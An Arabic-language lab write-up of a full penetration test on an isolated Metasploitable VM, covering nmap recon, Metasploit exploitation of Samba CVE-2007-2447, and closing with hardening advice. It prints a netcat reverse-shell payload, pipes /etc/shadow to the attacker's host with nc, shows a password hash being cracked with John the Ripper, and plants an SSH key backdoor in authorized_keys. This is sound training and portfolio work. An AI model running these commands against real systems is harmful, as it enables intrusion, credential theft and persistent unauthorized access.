
اختبار اختراق كامل على Metasploitable: استطلاع باستخدام nmap، استغلال باستخدام Metasploit (CVE-2007-2447)، استخراج وكسر كلمات المرور، واستمرارية عبر SSH
الدورة الكاملة لهجوم حقيقي على بيئة خاضعة للتحكم ومعزولة: تجهيز المختبر، الاستطلاع باستخدام nmap، ترتيب أولويات سطح الهجوم، الربط مع CVE، الاستغلال باستخدام Metasploit، ما بعد الاستغلال، استخراج بيانات الاعتماد وتكسيرها، والاستدامة عبر حقن مفتاح SSH.

msfconsole, nmap, John the Ripper.192.168.64.0/24). عنوان IP للضحية: 192.168.64.3.
فحص الإصدارات لتحديد ما هو مكشوف بدقة — الثغرات الأمنية تصيب إصدارات محددة، لا خدمات بشكل مجرد:
nmap -sV 192.168.64.3
اثنا عشر منفذًا مفتوحًا، جميعها بإصدارات قديمة وقابلة للاستغلال.
بدلًا من مهاجمة أول منفذ مفتوح، صنّفت الخدمات حسب نوع المخاطر قبل اختيار الهدف:
الهدف المحدد: Samba 3.0.20-Debian — يجمع بين إصدار يحمل ثغرة حرجة موثقة، وExploit متاح في Metasploit، وتنفيذ كود دون الحاجة إلى مصادقة مسبقة: أعلى تأثير بأعلى موثوقية.
تأكيد الإصدار الدقيق عبر محرك سكربتات Nmap (NSE):
nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
إن Samba 3.0.20 عرضة لـ CVE-2007-2447: معامل username map script لا يتحقق من الإدخال، ويمكن للمهاجم حقن أوامر shell مباشرة في حقل اسم المستخدم. وبما أن عملية الربط تحدث قبل تسجيل الدخول، فلا حاجة لاسم مستخدم ولا كلمة مرور صالحة.

msfconsole

البحث عن الوحدة المناسبة:
msf > search type:exploit samba

الإعداد والتنفيذ:
msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened
تحقق فوري من الصلاحيات — تمنح الثغرة وصول root مباشرًا، دون الحاجة إلى تصعيد صلاحيات لاحق:
whoami → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

عند فحص العمليات على الضحية يمكن رؤية الحمولة (payload) المحقونة نفسها وهي تعمل:
ps aux | grep samba
root 4931 sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"
احتوى اسم المستخدم المُرسَل على الأمر نفسه (/=`...`): مرّره Samba دون تعقيم إلى shell، فأنشأت أنبوبًا (pipe) عبر mkfifo، وفتحت اتصالًا عائدًا إلى Kali باستخدام netcat، وربطت /bin/sh بذلك الأنبوب — تنفيذ كود عن بُعد كامل، سطرًا بسطر.
تعداد الخدمات الداخلية باستخدام netstat -tulnp: ظهر MySQL وهو يستمع على 0.0.0.0:3306 — مكشوف لأي جهاز على الشبكة، وليس لـ localhost فقط.
بدلًا من محاولة التكسير على الضحية نفسها (يستهلك المعالج، ويولّد ضوضاء، ويترك آثارًا)، استخرجت التجزئات (hashes) ونقلتها إلى Kali لمعالجتها دون اتصال (offline):
cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

النقل عبر netcat والتجهيز لـ John the Ripper:
# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444
unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt
يشغّل John ثلاث مراحل تلقائيًا (وضع single مع معلومات من المستخدم نفسه، وقاموس كلمات، وقوة عمياء متزايدة). النتيجة: تكسير 6 من 7 كلمات مرور، بما في ذلك بيانات اعتماد قابلة لإعادة الاستخدام لـ SSH وMySQL وFTP.

باستخدام بيانات الاعتماد المكسورة، وصول SSH مباشر كمستخدم شرعي:
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

لكي لا أعتمد على كلمة مرور قد تُغيَّر، ولّدت زوج مفاتيح خاصًا بي وأضفته إلى authorized_keys على الضحية — باب خلفي يبقى حتى بعد تغيير كلمات المرور ولا يولّد تنبيهات هجمات القوة العمياء:
ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys # ejecutado en la víctima, ya comprometida
الوصول لاحقًا، دون كلمة مرور:
ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

0.0.0.0، بروتوكولات قديمة مثل Telnet نشطة).إزالة البروتوكولات غير الآمنة مثل Telnet، وتحديث الخدمات الحرجة والنواة نفسها، وتقييد التعرض المباشر لقواعد البيانات، وتطبيق تقسيم الشبكة، والأهم من كل ذلك — نظرًا لسهولة تكسير كلمات المرور — فرض سياسات بيانات اعتماد قوية وغير معاد استخدامها بين الخدمات. النوع نفسه من الكشف الذي كان سيمنع هذا الهجوم في بيئة الإنتاج (مراقبة الاتصالات الصادرة الشاذة، وتنبيهات حول nc والـ reverse shells) هو ما أعمل عليه في الجانب الدفاعي في Home SOC Lab.
إن ترتيب الأولويات قبل الهجوم — فهم أي خدمة تحقق أكبر أثر بأعلى موثوقية، بدلًا من تجربة المنافذ عشوائيًا — هو ما قاد مباشرة إلى Samba. أما مرحلة ما بعد الاستغلال، عند رؤية الأمر المحقون نفسه يعمل في ps aux، فهي الأوضح في إظهار لماذا تتحول ثغرة التحقق من الإدخال إلى سيطرة كاملة على النظام. ويوضح الثبات عبر مفتاح SSH أن هدف المهاجم بعد الدخول ليس مجرد «امتلاك الوصول»، بل امتلاكه بشكل صامت ودائم — وهو سبب إضافي لعدم اعتماد الدفاع في العمق على حاجز واحد.
| المنفذ | الخدمة | الإصدار |
|---|
| 21/tcp | ftp | ProFTPD 1.3.1 |
| 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 |
| 23/tcp | telnet | Linux telnetd |
| 80/tcp | http | Apache httpd 2.2.8 |
| 139,445/tcp | netbios-ssn | Samba smbd 3.X — الهدف الرئيسي |
| 3306/tcp | mysql | MySQL 5.0.51a |
| 8180/tcp | http | Apache Tomcat/Coyote JSP 1.1 |